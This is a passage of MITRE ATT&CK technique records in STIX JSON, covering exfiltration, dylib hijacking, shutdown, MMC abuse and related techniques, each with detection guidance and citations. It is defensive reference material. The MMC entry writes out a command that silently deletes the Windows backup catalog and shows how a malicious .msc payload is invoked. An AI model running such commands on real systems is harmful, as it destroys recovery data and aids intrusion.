Process Creation"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac", "created": "2020-02-20T22:06:41.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1561/001", "external_id": "T1561.001"}, {"source_name": "DOJ Lazarus Sony 2018", "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.", "url": "https://www.justice.gov/opa/press-release/file/1092091/download"}, {"source_name": "Novetta Blockbuster Destructive Malware", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", "url": "https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"}, {"source_name": "Novetta Blockbuster", "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"}, {"source_name": "Microsoft Sysmon v6 May 2017", "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-04-12T23:39:25.476Z", "name": "Exfiltration Over Unencrypted Non-C2 Protocol", "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "exfiltration"}], "x_mitre_contributors": ["William Cain", "Austin Clark, @c2defense"], "x_mitre_deprecated": false, "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \n\nFor network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "2.1", "x_mitre_data_sources": ["Network Traffic: Network Traffic Flow", "File: File Access", "Network Traffic: Network Traffic Content", "Command: Command Execution", "Network Traffic: Network Connection Creation"], "x_mitre_network_requirements": false, "type": "attack-pattern", "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", "created": "2020-03-15T15:37:47.583Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1048/003", "external_id": "T1048.003"}, {"source_name": "copy_cmd_cisco", "description": "Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689"}, {"source_name": "University of Birmingham C2", "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:39.601Z", "name": "Dylib Hijacking", "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>, and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the <code>otool -l</code> command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["macOS"], "x_mitre_version": "2.0", "x_mitre_data_sources": ["Module: Module Load", "File: File Creation", "File: File Modification"], "x_mitre_defense_bypassed": ["Application Control"], "type": "attack-pattern", "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490", "created": "2020-03-16T15:23:30.896Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/004", "external_id": "T1574.004"}, {"source_name": "MalwareUnicorn macOS Dylib Injection MachO", "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.", "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5"}, {"source_name": "Apple Developer Doco Archive Run-Path", "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.", "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html"}, {"source_name": "Wardle Dylib Hijacking OSX 2015", "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.", "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf"}, {"source_name": "Writing Bad Malware for OSX", "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.", "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"}, {"source_name": "Wardle Dylib Hijack Vulnerable Apps", "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.", "url": "https://objective-see.com/blog/blog_0x46.html"}, {"source_name": "wardle artofmalware volume1", "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.", "url": "https://taomm.org/vol1/pdfs.html"}, {"source_name": "Github EmpireProject HijackScanner", "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.", "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py"}, {"source_name": "Github EmpireProject CreateHijacker Dylib", "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.", "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["Network"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d", "type": "attack-pattern", "created": "2020-10-19T19:53:10.576Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1601.002", "url": "https://attack.mitre.org/techniques/T1601/002"}, {"source_name": "Cisco Synful Knock Evolution", "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}], "modified": "2020-10-22T17:49:02.660Z", "name": "Downgrade System Image", "description": "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Many embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["File: File Modification"], "x_mitre_permissions_required": ["Administrator"]}, {"modified": "2023-07-14T13:04:04.591Z", "name": "Local Accounts", "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"}], "x_mitre_deprecated": false, "x_mitre_detection": "Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Containers", "Network"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Logon Session: Logon Session Metadata", "User Account: User Account Authentication"], "x_mitre_permissions_required": ["Administrator", "User"], "type": "attack-pattern", "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "created": "2020-03-13T20:26:46.695Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1078/003", "external_id": "T1078.003"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-15T11:41:47.274Z", "name": "Exploitation for Defense Evasion", "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.\u00a0Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.\n\nThere have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["John Lambert, Microsoft Threat Intelligence Center"], "x_mitre_deprecated": false, "x_mitre_detection": "Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "Windows", "macOS", "SaaS", "IaaS"], "x_mitre_version": "1.4", "x_mitre_data_sources": ["Application Log: Application Log Content", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Anti-virus", "System access controls"], "type": "attack-pattern", "id": "attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1211", "external_id": "T1211"}, {"source_name": "Salesforce zero-day in facebook phishing attack", "description": "Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023.", "url": "https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/"}, {"source_name": "Bypassing CloudTrail in AWS Service Catalog", "description": "Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023.", "url": "https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/"}, {"source_name": "GhostToken GCP flaw", "description": "Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023.", "url": "https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Casey Smith", "Matthew Demaske, Adaptforward"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", "created": "2017-05-31T21:31:39.262Z", "x_mitre_version": "1.2", "external_references": [{"source_name": "mitre-attack", "external_id": "T1127", "url": "https://attack.mitre.org/techniques/T1127"}, {"source_name": "Exploit Monday WinDbg", "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017."}, {"source_name": "LOLBAS Tracker", "url": "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", "description": "LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019."}, {"source_name": "engima0x3 RCSI Bypass", "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017."}, {"source_name": "engima0x3 DNX Bypass", "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.", "modified": "2022-05-05T05:00:37.443Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Trusted Developer Utilities Proxy Execution", "x_mitre_detection": "Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", "kill_chain_phases": [{"phase_name": "defense-evasion", "kill_chain_name": "mitre-attack"}], "x_mitre_is_subtechnique": false, "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Application Control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-22T20:45:22.531Z", "name": "System Shutdown/Reboot", "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A)\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_contributors": ["Austin Clark, @c2defense", "Hubert Mank"], "x_mitre_deprecated": false, "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the <code>reload</code> command.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows", "Network"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Process: Process Creation", "Sensor Health: Host Status", "Command: Command Execution"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "created": "2019-10-04T20:42:28.541Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1529", "external_id": "T1529"}, {"source_name": "Talos Nyetya June 2017", "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.", "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"}, {"source_name": "alert_TA18_106A", "description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"}, {"source_name": "Talos Olympic Destroyer 2018", "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"}, {"source_name": "Microsoft Shutdown Oct 2017", "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Wes Hurd"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407", "created": "2021-09-28T01:36:41.638Z", "x_mitre_version": "2.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1218.014", "url": "https://attack.mitre.org/techniques/T1218/014"}, {"source_name": "abusing_com_reg", "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021."}, {"source_name": "mmc_vulns", "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/", "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021."}, {"source_name": "win_msc_files_overview", "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/", "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021."}, {"source_name": "win_mmc", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc", "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021."}, {"source_name": "win_wbadmin_delete_catalog", "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog", "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021."}, {"source_name": "win_clsid_key", "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm", "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021."}, {"source_name": "what_is_mmc", "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console", "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021."}, {"source_name": "phobos_virustotal", "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection", "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg)", "modified": "2022-05-20T17:41:16.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "MMC", "x_mitre_detection": "Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as <code>services.msc</code> or <code>eventvwr.msc</code>. Invoking non-Microsoft .msc files may be an indicator of malicious activity. ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "File: File Creation", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Application control", "Digital Certificate Validation"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1", "type": "attack-pattern", "created": "2021-11-19T14:13:11.335Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1564.010", "url": "https://attack.mitre.org/techniques/T1564/010"}, {"source_name": "Microsoft PEB 2021", "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb", "description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021."}, {"source_name": "Xpn Argue Like Cobalt 2019", "url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/", "description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021."}, {"source_name": "Cobalt Strike Arguments 2019", "url": "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/", "description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021."}, {"source_name": "Nviso Spoof Command Line 2020", "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/", "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."}, {"source_name": "FireEye FiveHands April 2021", "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html", "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}, {"source_name": "Mandiant Endpoint Evading 2019", "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode", "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."}], "modified": "2021-11-29T15:56:50.370Z", "name": "Process Argument Spoofing", "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: 